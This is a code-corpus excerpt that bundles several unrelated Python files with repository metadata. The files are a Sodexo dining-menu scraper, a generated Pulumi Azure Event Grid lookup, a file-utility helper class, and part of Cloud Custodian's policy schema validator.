import sys import json import os from lxml import html from datetime import datetime import requests from to_json import to_dict class Crawler: ''' The crawler class used for retrieving information from sodexo's menu page Note: Blitman Commons is not yet included in sodexo's page. The class should throw an error if blm is at request Attributes: url (str): link to the corresponding menu page of the target dinning hall ''' def __init__(self, target): if target.lower() == 'cms': self.url = 'https://menus.sodexomyway.com/BiteMenu/Menu?menuId=15465&locationId=76929001&whereami=http:' \ '//rensselaerdining.com/dining-near-me/commons-dining-hall' elif target.lower() == 'sage': self.url = 'https://menus.sodexomyway.com/BiteMenu/Menu?menuId=15285&locationId=76929002&whereami=http:' \ '//rensselaerdining.com/dining-near-me/russell-sage' elif target.lower() == 'barh': self.url = 'https://menus.sodexomyway.com/BiteMenu/Menu?menuId=667&locationId=76929003&whereami=http:' \ '//rensselaerdining.com/dining-near-me/barh-dining-hall' elif target.lower() == 'blm': raise ValueError(f'Blitman Commons is currently not on Sodexo\'s official website') else: raise ValueError(f'Target dinning hall ({target}) is not valid') self.target = target def crawl(self): ''' The crawler function that uses request to get html source, and use lxml.html to build element tree ''' tree = html.fromstring(requests.get(self.url).content) # current date date = int(str(datetime.today()).split()[0].split('-')[-1]) breakfast = get_dish_and_cal('breakfast', tree, date) lunch = get_dish_and_cal('lunch', tree, date) dinner = get_dish_and_cal('dinner', tree, date) return breakfast, lunch, dinner def get_dish_and_cal(time, e_tree, date): dishes = clean_up(e_tree.xpath('./body/div[@class="my-app"]/div/div[@class="bottom-half"]/div[@class="main-content"]/div[@id="bite-menu"]/div[@id="menuid-{0:d}-day"]/div[@class="accordion"]/div[contains(@class, "{1}")]/div[contains(@class, "accordion-panel")]/div[@class="bite-menu-item"]/div[@class="col-xs-9"]/a[contains(@class, "get-nutritioncalculator")]/text()'.format(date, time))) cals = clean_up(e_tree.xpath('./body/div[@class="my-app"]/div/div[@class="bottom-half"]/div[@class="main-content"]/div[@id="bite-menu"]/div[@id="menuid-{0:d}-day"]/div[@class="accordion"]/div[contains(@class, "{1}")]/div[contains(@class, "accordion-panel")]/div[@class="bite-menu-item"]/div[contains(@class, "text-right")]/a/text()'.format(date, time))[1:]) return dishes, cals def to_html(name, cal, tp, src="http://placehold.it/700x400", description=""): html = \ """ <div class="block {0}-block"> <div class="row"> <div class="col-lg-4 col-md-6 mb-4"> <div class="card h-100"> <a href="#"><img class="card-img-top" src="{1}" alt=""></a> <div class="card-body"> <h4 class="card-title"> <a href="#">{2}</a> </h4> <h5>{3}</h5> <p class="card-text">{4}</p> </div> <div class="card-footer"> <small class="text-muted">&#9733; &#9733; &#9733; &#9733; &#9734;</small> </div> </div> </div> </div> </div> """ return html.format(tp, src, name, cal, description) def clean_up(vals): # if type(vals) != type(list()): # raise RuntimeError(f'clean up: Expected list, but was {type(vals)}') result = list() for item in vals: # if type(vals) != type(str()): # raise RuntimeError(f'clean up: entries inside vals are not string. Was {type(item)}') result.append(str(item).replace('\r', '').strip()) return result # driver function def fetch_all(name): result = Crawler(name).crawl() return to_dict(result[0][0], result[0][1]), to_dict(result[1][0], result[1][1]), to_dict(result[2][0], result[2][1]) if __name__ == '__main__': print(os.getcwd())
38.936364
391
0.596544
import sys import json import os from lxml import html from datetime import datetime import requests from to_json import to_dict class Crawler: def __init__(self, target): if target.lower() == 'cms': self.url = 'https://menus.sodexomyway.com/BiteMenu/Menu?menuId=15465&locationId=76929001&whereami=http:' \ '//rensselaerdining.com/dining-near-me/commons-dining-hall' elif target.lower() == 'sage': self.url = 'https://menus.sodexomyway.com/BiteMenu/Menu?menuId=15285&locationId=76929002&whereami=http:' \ '//rensselaerdining.com/dining-near-me/russell-sage' elif target.lower() == 'barh': self.url = 'https://menus.sodexomyway.com/BiteMenu/Menu?menuId=667&locationId=76929003&whereami=http:' \ '//rensselaerdining.com/dining-near-me/barh-dining-hall' elif target.lower() == 'blm': raise ValueError(f'Blitman Commons is currently not on Sodexo\'s official website') else: raise ValueError(f'Target dinning hall ({target}) is not valid') self.target = target def crawl(self): tree = html.fromstring(requests.get(self.url).content) # current date date = int(str(datetime.today()).split()[0].split('-')[-1]) breakfast = get_dish_and_cal('breakfast', tree, date) lunch = get_dish_and_cal('lunch', tree, date) dinner = get_dish_and_cal('dinner', tree, date) return breakfast, lunch, dinner def get_dish_and_cal(time, e_tree, date): dishes = clean_up(e_tree.xpath('./body/div[@class="my-app"]/div/div[@class="bottom-half"]/div[@class="main-content"]/div[@id="bite-menu"]/div[@id="menuid-{0:d}-day"]/div[@class="accordion"]/div[contains(@class, "{1}")]/div[contains(@class, "accordion-panel")]/div[@class="bite-menu-item"]/div[@class="col-xs-9"]/a[contains(@class, "get-nutritioncalculator")]/text()'.format(date, time))) cals = clean_up(e_tree.xpath('./body/div[@class="my-app"]/div/div[@class="bottom-half"]/div[@class="main-content"]/div[@id="bite-menu"]/div[@id="menuid-{0:d}-day"]/div[@class="accordion"]/div[contains(@class, "{1}")]/div[contains(@class, "accordion-panel")]/div[@class="bite-menu-item"]/div[contains(@class, "text-right")]/a/text()'.format(date, time))[1:]) return dishes, cals def to_html(name, cal, tp, src="http://placehold.it/700x400", description=""): html = \ """ <div class="block {0}-block"> <div class="row"> <div class="col-lg-4 col-md-6 mb-4"> <div class="card h-100"> <a href="#"><img class="card-img-top" src="{1}" alt=""></a> <div class="card-body"> <h4 class="card-title"> <a href="#">{2}</a> </h4> <h5>{3}</h5> <p class="card-text">{4}</p> </div> <div class="card-footer"> <small class="text-muted">&#9733; &#9733; &#9733; &#9733; &#9734;</small> </div> </div> </div> </div> </div> """ return html.format(tp, src, name, cal, description) def clean_up(vals): # if type(vals) != type(list()): # raise RuntimeError(f'clean up: Expected list, but was {type(vals)}') result = list() for item in vals: # if type(vals) != type(str()): # raise RuntimeError(f'clean up: entries inside vals are not string. Was {type(item)}') result.append(str(item).replace('\r', '').strip()) return result # driver function def fetch_all(name): result = Crawler(name).crawl() return to_dict(result[0][0], result[0][1]), to_dict(result[1][0], result[1][1]), to_dict(result[2][0], result[2][1]) if __name__ == '__main__': print(os.getcwd())
true
true
f71f395bbff397746135521fd61c58fd06d81c7d
3,484
py
Python
sdk/python/pulumi_azure_nextgen/eventgrid/v20190201preview/get_domain_topic.py
pulumi/pulumi-azure-nextgen
452736b0a1cf584c2d4c04666e017af6e9b2c15c
[ "Apache-2.0" ]
31
2020-09-21T09:41:01.000Z
2021-02-26T13:21:59.000Z
sdk/python/pulumi_azure_nextgen/eventgrid/v20190201preview/get_domain_topic.py
pulumi/pulumi-azure-nextgen
452736b0a1cf584c2d4c04666e017af6e9b2c15c
[ "Apache-2.0" ]
231
2020-09-21T09:38:45.000Z
2021-03-01T11:16:03.000Z
sdk/python/pulumi_azure_nextgen/eventgrid/v20190201preview/get_domain_topic.py
pulumi/pulumi-azure-nextgen
452736b0a1cf584c2d4c04666e017af6e9b2c15c
[ "Apache-2.0" ]
4
2020-09-29T14:14:59.000Z
2021-02-10T20:38:16.000Z
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union from ... import _utilities, _tables __all__ = [ 'GetDomainTopicResult', 'AwaitableGetDomainTopicResult', 'get_domain_topic', ] @pulumi.output_type class GetDomainTopicResult: """ Domain Topic """ def __init__(__self__, id=None, name=None, provisioning_state=None, type=None): if id and not isinstance(id, str): raise TypeError("Expected argument 'id' to be a str") pulumi.set(__self__, "id", id) if name and not isinstance(name, str): raise TypeError("Expected argument 'name' to be a str") pulumi.set(__self__, "name", name) if provisioning_state and not isinstance(provisioning_state, str): raise TypeError("Expected argument 'provisioning_state' to be a str") pulumi.set(__self__, "provisioning_state", provisioning_state) if type and not isinstance(type, str): raise TypeError("Expected argument 'type' to be a str") pulumi.set(__self__, "type", type) @property @pulumi.getter def id(self) -> str: """ Fully qualified identifier of the resource """ return pulumi.get(self, "id") @property @pulumi.getter def name(self) -> str: """ Name of the resource """ return pulumi.get(self, "name") @property @pulumi.getter(name="provisioningState") def provisioning_state(self) -> Optional[str]: """ Provisioning state of the domain topic. """ return pulumi.get(self, "provisioning_state") @property @pulumi.getter def type(self) -> str: """ Type of the resource """ return pulumi.get(self, "type") class AwaitableGetDomainTopicResult(GetDomainTopicResult): # pylint: disable=using-constant-test def __await__(self): if False: yield self return GetDomainTopicResult( id=self.id, name=self.name, provisioning_state=self.provisioning_state, type=self.type) def get_domain_topic(domain_name: Optional[str] = None, domain_topic_name: Optional[str] = None, resource_group_name: Optional[str] = None, opts: Optional[pulumi.InvokeOptions] = None) -> AwaitableGetDomainTopicResult: """ Domain Topic :param str domain_name: Name of the domain :param str domain_topic_name: Name of the topic :param str resource_group_name: The name of the resource group within the user's subscription. """ __args__ = dict() __args__['domainName'] = domain_name __args__['domainTopicName'] = domain_topic_name __args__['resourceGroupName'] = resource_group_name if opts is None: opts = pulumi.InvokeOptions() if opts.version is None: opts.version = _utilities.get_version() __ret__ = pulumi.runtime.invoke('azure-nextgen:eventgrid/v20190201preview:getDomainTopic', __args__, opts=opts, typ=GetDomainTopicResult).value return AwaitableGetDomainTopicResult( id=__ret__.id, name=__ret__.name, provisioning_state=__ret__.provisioning_state, type=__ret__.type)
32.259259
147
0.64667
import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union from ... import _utilities, _tables __all__ = [ 'GetDomainTopicResult', 'AwaitableGetDomainTopicResult', 'get_domain_topic', ] @pulumi.output_type class GetDomainTopicResult: def __init__(__self__, id=None, name=None, provisioning_state=None, type=None): if id and not isinstance(id, str): raise TypeError("Expected argument 'id' to be a str") pulumi.set(__self__, "id", id) if name and not isinstance(name, str): raise TypeError("Expected argument 'name' to be a str") pulumi.set(__self__, "name", name) if provisioning_state and not isinstance(provisioning_state, str): raise TypeError("Expected argument 'provisioning_state' to be a str") pulumi.set(__self__, "provisioning_state", provisioning_state) if type and not isinstance(type, str): raise TypeError("Expected argument 'type' to be a str") pulumi.set(__self__, "type", type) @property @pulumi.getter def id(self) -> str: return pulumi.get(self, "id") @property @pulumi.getter def name(self) -> str: return pulumi.get(self, "name") @property @pulumi.getter(name="provisioningState") def provisioning_state(self) -> Optional[str]: return pulumi.get(self, "provisioning_state") @property @pulumi.getter def type(self) -> str: return pulumi.get(self, "type") class AwaitableGetDomainTopicResult(GetDomainTopicResult): # pylint: disable=using-constant-test def __await__(self): if False: yield self return GetDomainTopicResult( id=self.id, name=self.name, provisioning_state=self.provisioning_state, type=self.type) def get_domain_topic(domain_name: Optional[str] = None, domain_topic_name: Optional[str] = None, resource_group_name: Optional[str] = None, opts: Optional[pulumi.InvokeOptions] = None) -> AwaitableGetDomainTopicResult: __args__ = dict() __args__['domainName'] = domain_name __args__['domainTopicName'] = domain_topic_name __args__['resourceGroupName'] = resource_group_name if opts is None: opts = pulumi.InvokeOptions() if opts.version is None: opts.version = _utilities.get_version() __ret__ = pulumi.runtime.invoke('azure-nextgen:eventgrid/v20190201preview:getDomainTopic', __args__, opts=opts, typ=GetDomainTopicResult).value return AwaitableGetDomainTopicResult( id=__ret__.id, name=__ret__.name, provisioning_state=__ret__.provisioning_state, type=__ret__.type)
true
true
f71f396c55224e1478137d13c7dd9bd416d11e5a
1,722
py
Python
utils/file.py
xia-deng/lawerWeb
6d2fe3642b2b7fbdda568e3af240bbcf6fda6c48
[ "Apache-2.0" ]
null
null
null
utils/file.py
xia-deng/lawerWeb
6d2fe3642b2b7fbdda568e3af240bbcf6fda6c48
[ "Apache-2.0" ]
null
null
null
utils/file.py
xia-deng/lawerWeb
6d2fe3642b2b7fbdda568e3af240bbcf6fda6c48
[ "Apache-2.0" ]
null
null
null
''' 文件目录帮助类 ''' import os import shutil from utils.commonUtil import CommonUtil class FileUtil: ''' 处理文件路径 ''' @staticmethod def cleanPath(path): path=path.strip('\\'); return path ''' 判断路径是否存在 ''' @staticmethod def isExists(path): return os.path.exists(path) ''' 新建目录 ''' @staticmethod def mkdir(dir,isMany): dir=''.join(dir); CommonUtil.toString(dir) dir=FileUtil.cleanPath(dir) if(FileUtil.isExists(dir)): return False else: try: if(isMany==True): os.makedirs(dir) else: os.mkdir(dir) except: return False return True ''' 删除目录 ''' @staticmethod def removeDir(dir,isRemoveAll): try: if(isRemoveAll): shutil.rmtree(dir) else: os.rmdir(dir) return True except: return False ''' 重命名 ''' @staticmethod def reName(oldName,newName): try: os.rename(oldName,newName) return True except: return False ''' 按行读取文件 ''' @staticmethod def readFileLines(path): try: f=open(path,'r',encoding='utf-8') list_lines=f.readlines(); for line in list_lines: line=line.rstrip(); return ''.join(list_lines); except: return ''; @staticmethod def writeFileBytes(path,content): with open(path, 'w',encoding='utf8') as f: f.write(content)
17.571429
50
0.472706
import os import shutil from utils.commonUtil import CommonUtil class FileUtil: @staticmethod def cleanPath(path): path=path.strip('\\'); return path @staticmethod def isExists(path): return os.path.exists(path) @staticmethod def mkdir(dir,isMany): dir=''.join(dir); CommonUtil.toString(dir) dir=FileUtil.cleanPath(dir) if(FileUtil.isExists(dir)): return False else: try: if(isMany==True): os.makedirs(dir) else: os.mkdir(dir) except: return False return True @staticmethod def removeDir(dir,isRemoveAll): try: if(isRemoveAll): shutil.rmtree(dir) else: os.rmdir(dir) return True except: return False @staticmethod def reName(oldName,newName): try: os.rename(oldName,newName) return True except: return False @staticmethod def readFileLines(path): try: f=open(path,'r',encoding='utf-8') list_lines=f.readlines(); for line in list_lines: line=line.rstrip(); return ''.join(list_lines); except: return ''; @staticmethod def writeFileBytes(path,content): with open(path, 'w',encoding='utf8') as f: f.write(content)
true
true
f71f3b9ec48575a943a9e175d9ac2120c33e738d
23,715
py
Python
c7n/schema.py
kentnsw/cloud-custodian
fb177d6c4775c8d39459e709cd4084b867d67e5f
[ "Apache-2.0" ]
1
2022-02-16T07:00:33.000Z
2022-02-16T07:00:33.000Z
c7n/schema.py
kentnsw/cloud-custodian
fb177d6c4775c8d39459e709cd4084b867d67e5f
[ "Apache-2.0" ]
null
null
null
c7n/schema.py
kentnsw/cloud-custodian
fb177d6c4775c8d39459e709cd4084b867d67e5f
[ "Apache-2.0" ]
2
2022-02-16T07:00:36.000Z
2022-03-02T00:37:26.000Z
# Copyright The Cloud Custodian Authors. # SPDX-License-Identifier: Apache-2.0 """ Jsonschema validation of cloud custodian config. We start with a walkthrough of the various class registries of resource types and assemble and generate the schema. We do some specialization to reduce overall schema size via reference usage, although in some cases we prefer copies, due to issues with inheritance via reference ( allowedProperties and enum extension). All filters and actions are annotated with schema typically using the utils.type_schema function. """ from collections import Counter import json import inspect import logging from jsonschema import Draft7Validator as JsonSchemaValidator from jsonschema.exceptions import best_match from c7n.policy import execution from c7n.provider import clouds from c7n.query import sources from c7n.resources import load_available from c7n.resolver import ValuesFrom from c7n.filters.core import ( ValueFilter, EventFilter, AgeFilter, ReduceFilter, OPERATORS, VALUE_TYPES, ) from c7n.structure import StructureParser # noqa def validate(data, schema=None, resource_types=()): if schema is None: schema = generate(resource_types) JsonSchemaValidator.check_schema(schema) validator = JsonSchemaValidator(schema) errors = list(validator.iter_errors(data)) if not errors: return check_unique(data) or [] try: resp = policy_error_scope(specific_error(errors[0]), data) name = isinstance( errors[0].instance, dict) and errors[0].instance.get( 'name', 'unknown') or 'unknown' return [resp, name] except Exception: logging.exception( "specific_error failed, traceback, followed by fallback") return list(filter(None, [ errors[0], best_match(validator.iter_errors(data)), ])) def check_unique(data): counter = Counter([p['name'] for p in data.get('policies', [])]) for k, v in list(counter.items()): if v == 1: counter.pop(k) if counter: return [ValueError( "Only one policy with a given name allowed, duplicates: {}".format(counter)), list(counter.keys())[0]] def policy_error_scope(error, data): """Scope a schema error to its policy name and resource.""" err_path = list(error.absolute_path) if err_path[0] != 'policies': return error pdata = data['policies'][err_path[1]] pdata.get('name', 'unknown') error.message = "Error on policy:{} resource:{}\n".format( pdata.get('name', 'unknown'), pdata.get('resource', 'unknown')) + error.message return error def specific_error(error): """Try to find the best error for humans to resolve The jsonschema.exceptions.best_match error is based purely on a mix of a strong match (ie. not anyOf, oneOf) and schema depth, this often yields odd results that are semantically confusing, instead we can use a bit of structural knowledge of schema to provide better results. """ if error.validator not in ('anyOf', 'oneOf'): return error r = t = None if isinstance(error.instance, dict): t = error.instance.get('type') r = error.instance.get('resource') if r is not None: found = None for idx, v in enumerate(error.validator_value): if '$ref' in v and v['$ref'].rsplit('/', 2)[1].endswith(r): found = idx break if found is not None: # error context is a flat list of all validation # failures, we have to index back to the policy # of interest. for e in error.context: # resource policies have a fixed path from # the top of the schema if e.absolute_schema_path[4] == found: return specific_error(e) return specific_error(error.context[idx]) if t is not None: found = None for idx, v in enumerate(error.validator_value): if ('$ref' in v and v['$ref'].rsplit('/', 2)[-1].rsplit('.', 1)[-1] == t): found = idx break elif 'type' in v and t in v['properties']['type']['enum']: found = idx break if found is not None: for e in error.context: for el in reversed(e.absolute_schema_path): if isinstance(el, int): if el == found: return e break return error def generate(resource_types=()): resource_defs = {} definitions = { 'resources': resource_defs, 'string_dict': { "type": "object", "patternProperties": { "": {"type": "string"}, }, }, 'basic_dict': { "type": "object", "patternProperties": { "": { 'oneOf': [ {"type": "string"}, {"type": "boolean"}, {"type": "number"}, ], } }, }, 'iam-statement': { 'additionalProperties': False, 'type': 'object', 'properties': { 'Sid': {'type': 'string'}, 'Effect': {'type': 'string', 'enum': ['Allow', 'Deny']}, 'Principal': {'anyOf': [ {'type': 'string'}, {'type': 'object'}, {'type': 'array'}]}, 'NotPrincipal': {'anyOf': [{'type': 'object'}, {'type': 'array'}]}, 'Action': {'anyOf': [{'type': 'string'}, {'type': 'array'}]}, 'NotAction': {'anyOf': [{'type': 'string'}, {'type': 'array'}]}, 'Resource': {'anyOf': [{'type': 'string'}, {'type': 'array'}]}, 'NotResource': {'anyOf': [{'type': 'string'}, {'type': 'array'}]}, 'Condition': {'type': 'object'} }, 'required': ['Sid', 'Effect'], 'oneOf': [ {'required': ['Principal', 'Action', 'Resource']}, {'required': ['NotPrincipal', 'Action', 'Resource']}, {'required': ['Principal', 'NotAction', 'Resource']}, {'required': ['NotPrincipal', 'NotAction', 'Resource']}, {'required': ['Principal', 'Action', 'NotResource']}, {'required': ['NotPrincipal', 'Action', 'NotResource']}, {'required': ['Principal', 'NotAction', 'NotResource']}, {'required': ['NotPrincipal', 'NotAction', 'NotResource']} ] }, 'actions': {}, 'filters': { 'value': ValueFilter.schema, 'event': EventFilter.schema, 'age': AgeFilter.schema, 'reduce': ReduceFilter.schema, # Shortcut form of value filter as k=v 'valuekv': { 'type': 'object', 'additionalProperties': {'oneOf': [{'type': 'number'}, {'type': 'null'}, {'type': 'array', 'maxItems': 0}, {'type': 'string'}, {'type': 'boolean'}]}, 'minProperties': 1, 'maxProperties': 1}, }, 'filters_common': { 'comparison_operators': { 'enum': list(OPERATORS.keys())}, 'value_types': {'enum': VALUE_TYPES}, 'value_from': ValuesFrom.schema, 'value': {'oneOf': [ {'type': 'array'}, {'type': 'string'}, {'type': 'boolean'}, {'type': 'number'}, {'type': 'null'}]}, }, 'policy': { 'type': 'object', 'required': ['name', 'resource'], 'additionalProperties': False, 'properties': { 'name': { 'type': 'string', 'pattern': "^[A-z][A-z0-9]*(-*[A-z0-9]+)*$"}, 'conditions': { 'type': 'array', 'items': {'anyOf': [ {'type': 'object', 'additionalProperties': False, 'properties': {'or': { '$ref': '#/definitions/policy/properties/conditions'}}}, {'type': 'object', 'additionalProperties': False, 'properties': {'not': { '$ref': '#/definitions/policy/properties/conditions'}}}, {'type': 'object', 'additionalProperties': False, 'properties': {'and': { '$ref': '#/definitions/policy/properties/conditions'}}}, {'$ref': '#/definitions/filters/value'}, {'$ref': '#/definitions/filters/event'}, {'$ref': '#/definitions/filters/valuekv'}]}}, # these should be deprecated for conditions 'region': {'type': 'string'}, 'tz': {'type': 'string'}, 'start': {'format': 'date-time'}, 'end': {'format': 'date-time'}, 'resource': {'type': 'string'}, 'max-resources': {'anyOf': [ {'type': 'integer', 'minimum': 1}, {'$ref': '#/definitions/max-resources-properties'} ]}, 'max-resources-percent': {'type': 'number', 'minimum': 0, 'maximum': 100}, 'comment': {'type': 'string'}, 'title': {'type': 'string'}, 'description': {'type': 'string'}, 'tags': {'type': 'array', 'items': {'type': 'string'}}, 'metadata': {'type': 'object'}, 'mode': {'$ref': '#/definitions/policy-mode'}, 'source': {'enum': list(sources.keys())}, 'actions': { 'type': 'array', }, 'filters': { 'type': 'array' }, 'metrics': { 'type': 'array' }, # # TODO: source queries should really move under # source. This was initially used for describe sources # to expose server side query mechanisms, however its # important to note it also prevents resource cache # utilization between policies that have different # queries. 'query': { 'type': 'array', 'items': {'type': 'object'}} }, }, 'policy-mode': { 'anyOf': [e.schema for _, e in execution.items()], }, 'max-resources-properties': { 'type': 'object', 'additionalProperties': False, 'properties': { 'amount': {"type": 'integer', 'minimum': 1}, 'op': {'enum': ['or', 'and']}, 'percent': {'type': 'number', 'minimum': 0, 'maximum': 100} } } } resource_refs = [] for cloud_name, cloud_type in sorted(clouds.items()): for type_name, resource_type in sorted(cloud_type.resources.items()): r_type_name = "%s.%s" % (cloud_name, type_name) if resource_types and r_type_name not in resource_types: if not resource_type.type_aliases: continue elif not {"%s.%s" % (cloud_name, ralias) for ralias in resource_type.type_aliases}.intersection( resource_types): continue aliases = [] if resource_type.type_aliases: aliases.extend(["%s.%s" % (cloud_name, a) for a in resource_type.type_aliases]) # aws gets legacy aliases with no cloud prefix if cloud_name == 'aws': aliases.extend(resource_type.type_aliases) # aws gets additional alias for default name if cloud_name == 'aws': aliases.append(type_name) resource_refs.append( process_resource( r_type_name, resource_type, resource_defs, aliases, definitions, cloud_name )) schema = { "$schema": "http://json-schema.org/draft-07/schema#", 'id': 'http://schema.cloudcustodian.io/v0/custodian.json', 'definitions': definitions, 'type': 'object', 'required': ['policies'], 'additionalProperties': False, 'properties': { 'vars': {'type': 'object'}, 'policies': { 'type': 'array', 'additionalItems': False, 'items': {'anyOf': resource_refs} } } } # allow empty policies with lazy load if not resource_refs: schema['properties']['policies']['items'] = {'type': 'object'} return schema def process_resource( type_name, resource_type, resource_defs, aliases=None, definitions=None, provider_name=None): r = resource_defs.setdefault(type_name, {'actions': {}, 'filters': {}}) action_refs = [] for a in ElementSchema.elements(resource_type.action_registry): action_name = a.type if a.schema_alias: action_alias = "%s.%s" % (provider_name, action_name) if action_alias in definitions['actions']: if definitions['actions'][action_alias] != a.schema: # NOQA msg = "Schema mismatch on type:{} action:{} w/ schema alias ".format( type_name, action_name) raise SyntaxError(msg) else: definitions['actions'][action_alias] = a.schema action_refs.append({'$ref': '#/definitions/actions/%s' % action_alias}) else: r['actions'][action_name] = a.schema action_refs.append( {'$ref': '#/definitions/resources/%s/actions/%s' % ( type_name, action_name)}) # one word action shortcuts action_refs.append( {'enum': list(resource_type.action_registry.keys())}) filter_refs = [] for f in ElementSchema.elements(resource_type.filter_registry): filter_name = f.type if filter_name == 'value': filter_refs.append({'$ref': '#/definitions/filters/value'}) filter_refs.append({'$ref': '#/definitions/filters/valuekv'}) elif filter_name == 'event': filter_refs.append({'$ref': '#/definitions/filters/event'}) elif f.schema_alias: filter_alias = "%s.%s" % (provider_name, filter_name) if filter_alias in definitions['filters']: assert definitions['filters'][filter_alias] == f.schema, "Schema mismatch on filter w/ schema alias" # NOQA else: definitions['filters'][filter_alias] = f.schema filter_refs.append({'$ref': '#/definitions/filters/%s' % filter_alias}) continue else: r['filters'][filter_name] = f.schema filter_refs.append( {'$ref': '#/definitions/resources/%s/filters/%s' % ( type_name, filter_name)}) # one word filter shortcuts filter_refs.append( {'enum': list(resource_type.filter_registry.keys())}) block_fref = '#/definitions/resources/%s/policy/allOf/1/properties/filters' % ( type_name) filter_refs.extend([ {'type': 'object', 'additionalProperties': False, 'properties': {'or': {'$ref': block_fref}}}, {'type': 'object', 'additionalProperties': False, 'properties': {'and': {'$ref': block_fref}}}, {'type': 'object', 'additionalProperties': False, 'properties': {'not': {'$ref': block_fref}}}]) resource_policy = { 'allOf': [ {'$ref': '#/definitions/policy'}, {'properties': { 'resource': {'enum': [type_name]}, 'filters': { 'type': 'array', 'items': {'anyOf': filter_refs}}, 'actions': { 'type': 'array', 'items': {'anyOf': action_refs}}}}, ] } if aliases: resource_policy['allOf'][1]['properties'][ 'resource']['enum'].extend(aliases) if type_name == 'ec2': resource_policy['allOf'][1]['properties']['query'] = {} r['policy'] = resource_policy return {'$ref': '#/definitions/resources/%s/policy' % type_name} def resource_outline(provider=None): outline = {} for cname, ctype in sorted(clouds.items()): if provider and provider != cname: continue cresources = outline[cname] = {} for rname, rtype in sorted(ctype.resources.items()): cresources['%s.%s' % (cname, rname)] = rinfo = {} rinfo['filters'] = sorted(rtype.filter_registry.keys()) rinfo['actions'] = sorted(rtype.action_registry.keys()) return outline def resource_vocabulary(cloud_name=None, qualify_name=True, aliases=True): vocabulary = {} resources = {} if aliases: vocabulary['aliases'] = {} for cname, ctype in clouds.items(): if cloud_name is not None and cloud_name != cname: continue for rname, rtype in ctype.resources.items(): if qualify_name: resources['%s.%s' % (cname, rname)] = rtype else: resources[rname] = rtype for type_name, resource_type in resources.items(): classes = {'actions': {}, 'filters': {}, 'resource': resource_type} actions = [] for cls in ElementSchema.elements(resource_type.action_registry): action_name = ElementSchema.name(cls) actions.append(action_name) classes['actions'][action_name] = cls filters = [] for cls in ElementSchema.elements(resource_type.filter_registry): filter_name = ElementSchema.name(cls) filters.append(filter_name) classes['filters'][filter_name] = cls vocabulary[type_name] = { 'filters': sorted(filters), 'actions': sorted(actions), 'classes': classes, } if aliases and resource_type.type_aliases: provider = type_name.split('.', 1)[0] for type_alias in resource_type.type_aliases: vocabulary['aliases'][ "{}.{}".format(provider, type_alias)] = vocabulary[type_name] if provider == 'aws': vocabulary['aliases'][type_alias] = vocabulary[type_name] vocabulary[type_name]['resource_type'] = type_name vocabulary["mode"] = {} for mode_name, cls in execution.items(): vocabulary["mode"][mode_name] = cls return vocabulary class ElementSchema: """Utility functions for working with resource's filters and actions. """ @staticmethod def elements(registry): """Given a resource registry return sorted de-aliased values. """ seen = {} for k, v in registry.items(): if k in ('and', 'or', 'not'): continue if v in seen: continue else: seen[ElementSchema.name(v)] = v return [seen[k] for k in sorted(seen)] @staticmethod def resolve(vocabulary, schema_path): """Given a resource vocabulary and a dotted path, resolve an element. """ current = vocabulary frag = None if schema_path.startswith('.'): # The preprended '.' is an odd artifact schema_path = schema_path[1:] parts = schema_path.split('.') while parts: k = parts.pop(0) if frag: k = "%s.%s" % (frag, k) frag = None parts.insert(0, 'classes') elif k in clouds: frag = k if len(parts) == 1: parts.append('resource') continue if k not in current: raise ValueError("Invalid schema path %s" % schema_path) current = current[k] return current @staticmethod def name(cls): """For a filter or action return its name.""" return cls.schema['properties']['type']['enum'][0] @staticmethod def doc(cls): """Return 'best' formatted doc string for a given class. Walks up class hierarchy, skipping known bad. Returns empty string if no suitable doc string found. """ # walk up class hierarchy for nearest # good doc string, skip known if cls.__doc__ is not None: return inspect.cleandoc(cls.__doc__) doc = None for b in cls.__bases__: if b in (ValueFilter, object): continue doc = b.__doc__ or ElementSchema.doc(b) if doc is not None: return inspect.cleandoc(doc) return "" @staticmethod def schema(definitions, cls): """Return a pretty'ified version of an element schema.""" schema = isinstance(cls, type) and dict(cls.schema) or dict(cls) schema.pop('type', None) schema.pop('additionalProperties', None) return ElementSchema._expand_schema(schema, definitions) @staticmethod def _expand_schema(schema, definitions): """Expand references in schema to their full schema""" for k, v in list(schema.items()): if k == '$ref': # the value here is in the form of: '#/definitions/path/to/key' parts = v.split('/') if ['#', 'definitions'] != parts[0:2]: raise ValueError("Invalid Ref %s" % v) current = definitions for p in parts[2:]: if p not in current: return None current = current[p] return ElementSchema._expand_schema(current, definitions) elif isinstance(v, dict): schema[k] = ElementSchema._expand_schema(v, definitions) return schema def pprint_schema_summary(vocabulary): providers = {} non_providers = {} for type_name, rv in vocabulary.items(): if '.' not in type_name: non_providers[type_name] = len(rv) else: provider, name = type_name.split('.', 1) stats = providers.setdefault(provider, { 'resources': 0, 'actions': Counter(), 'filters': Counter()}) stats['resources'] += 1 for a in rv.get('actions'): stats['actions'][a] += 1 for f in rv.get('filters'): stats['filters'][f] += 1 for provider, stats in providers.items(): print("%s:" % provider) print(" resource count: %d" % stats['resources']) print(" actions: %d" % len(stats['actions'])) print(" filters: %d" % len(stats['filters'])) for non_providers_type, length in non_providers.items(): print("%s:" % non_providers_type) print(" count: %d" % length) def json_dump(resource=None): load_available() print(json.dumps(generate(resource), indent=2)) if __name__ == '__main__': json_dump()
36.824534
123
0.518954
from collections import Counter import json import inspect import logging from jsonschema import Draft7Validator as JsonSchemaValidator from jsonschema.exceptions import best_match from c7n.policy import execution from c7n.provider import clouds from c7n.query import sources from c7n.resources import load_available from c7n.resolver import ValuesFrom from c7n.filters.core import ( ValueFilter, EventFilter, AgeFilter, ReduceFilter, OPERATORS, VALUE_TYPES, ) from c7n.structure import StructureParser def validate(data, schema=None, resource_types=()): if schema is None: schema = generate(resource_types) JsonSchemaValidator.check_schema(schema) validator = JsonSchemaValidator(schema) errors = list(validator.iter_errors(data)) if not errors: return check_unique(data) or [] try: resp = policy_error_scope(specific_error(errors[0]), data) name = isinstance( errors[0].instance, dict) and errors[0].instance.get( 'name', 'unknown') or 'unknown' return [resp, name] except Exception: logging.exception( "specific_error failed, traceback, followed by fallback") return list(filter(None, [ errors[0], best_match(validator.iter_errors(data)), ])) def check_unique(data): counter = Counter([p['name'] for p in data.get('policies', [])]) for k, v in list(counter.items()): if v == 1: counter.pop(k) if counter: return [ValueError( "Only one policy with a given name allowed, duplicates: {}".format(counter)), list(counter.keys())[0]] def policy_error_scope(error, 